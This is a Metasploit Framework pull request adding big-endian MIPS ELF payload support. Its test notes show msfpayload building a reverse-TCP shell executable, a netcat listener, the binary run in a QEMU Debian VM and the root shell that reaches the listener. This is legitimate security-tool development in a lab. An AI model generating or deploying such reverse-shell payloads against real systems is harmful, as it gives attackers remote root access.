rapid7/metasploit-framework — pull request #1671 by jvazquez-r7 (2013-03-26 21:17:47+00:00)
Title: Added support for mipsbe elf

Since afaik nasm doesn't support assemble bin format in big endian I've took the MIPSLE tiny elf template and modified it manually to get the Big Endian version. Maybe there is a better way to do it... I'm opened to feedback :)

In the meanwhile, result testing.

* Creating the MIPSBE elf with the embedded payload:

```
$ ./msfpayload linux/mipsbe/shell_reverse_tcp LPORT=4444 LHOST=10.0.2.2 X > /tmp/shell_reverse_mips.elf
Created by msfpayload (http://www.metasploit.com).
Payload: linux/mipsbe/shell_reverse_tcp
Length: 364
Options: {"LPORT"=>"4444", "LHOST"=>"10.0.2.2"}
Juans-MacBook-Pro:metasploit-framework juan$ file /tmp/shell_reverse_mips.elf
/tmp/shell_reverse_mips.elf: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, corrupted section header size
```

* Putting a nc listener on the qemu host (10.0.2.2):

```
$ nc -l 4444
```

* Executing it from the mipsbe debian system run on qemu:

```
root@mipsdebian:~# uname -a
Linux mipsdebian 2.6.32-5-4kc-malta #1 Sat Feb 16 12:43:42 UTC 2013 mips GNU/Linux
root@mipsdebian:~# ls
shell_reverse_mips.elf
root@mipsdebian:~# file shell_reverse_mips.elf
shell_reverse_mips.elf: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, corrupted section header size
root@mipsdebian:~# chmod +x shell_reverse_mips.elf
root@mipsdebian:~# ./shell_reverse_mips.elf

```

* Get the shell on the nc listener on the qemu host:

```
$ nc -l 4444
id;
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux mipsdebian 2.6.32-5-4kc-malta #1 Sat Feb 16 12:43:42 UTC 2013 mips GNU/Linux
ls
shell_reverse_mips.elf
file shell_reverse_mips.elf
shell_reverse_mips.elf: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, corrupted section header size

```